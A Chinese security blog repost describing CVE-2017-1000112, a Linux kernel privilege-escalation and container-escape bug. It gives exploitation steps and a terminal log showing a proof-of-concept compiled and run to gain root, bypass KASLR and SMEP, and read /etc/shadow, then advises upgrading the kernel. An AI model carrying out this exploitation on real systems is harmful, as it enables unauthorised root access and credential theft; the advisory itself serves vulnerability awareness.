CVE-2017-1000112:Linux内核逃逸

admin 2022年8月7日10:35:57评论126 views字数 1481阅读4分56秒阅读模式

影响范围

Linux Kernel < 4.12.3

漏洞类型

本地权限提升

利用条件

影响范围应用

漏洞简介

Linux内核中的UDP碎片卸载(UFO)代码中的内存损坏问题可能导致本地特权的升级

漏洞利用

Step 1:编译POC

Step 2:复制POC到容器(实战中可以在容器中远程下载)

Step 3:测试ifconfig命令的可行性(poc.zip中是两个漏洞的结合需要执行ifconfig命令)

Step 4:执行载荷完成逃逸

Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
Usage:user@ubuntu:~$ uname -aLinux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linuxuser@ubuntu:~$ whoamiuseruser@ubuntu:~$ iduid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)user@ubuntu:~$ gcc pwn.c -o pwnuser@ubuntu:~$ ./pwn [.] starting[.] checking distro and kernel versions[.] kernel version '4.8.0-58-generic' detected[~] done, versions looks good[.] checking SMEP and SMAP[~] done, looks good[.] setting up namespace sandbox[~] done, namespace sandbox set up[.] KASLR bypass enabled, getting kernel addr[~] done, kernel text: ffffffffae400000[.] commit_creds: ffffffffae4a5d20[.] prepare_kernel_cred: ffffffffae4a6110[.] SMEP bypass enabled, mmapping fake stack[~] done, fake stack mmapped[.] executing payload ffffffffae40008d[~] done, should be root now[.] checking if we got root[+] got r00t ^_^root@ubuntu:/home/user# whoamirootroot@ubuntu:/home/user# iduid=0(root) gid=0(root) groups=0(root)root@ubuntu:/home/user# cat /etc/shadowroot:!:17246:0:99999:7:::daemon:*:17212:0:99999:7:::bin:*:17212:0:99999:7:::sys:*:17212:0:99999:7:::

演示视频

安全建议

升级内核版本~

参考连接

https://capsule8.com/blog/practical-container-escape-exercise/

原文始发于微信公众号(七芒星实验室):CVE-2017-1000112:Linux内核逃逸

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月7日10:35:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2017-1000112:Linux内核逃逸https://cn-sec.com/archives/1221739.html

发表评论

匿名网友 填写信息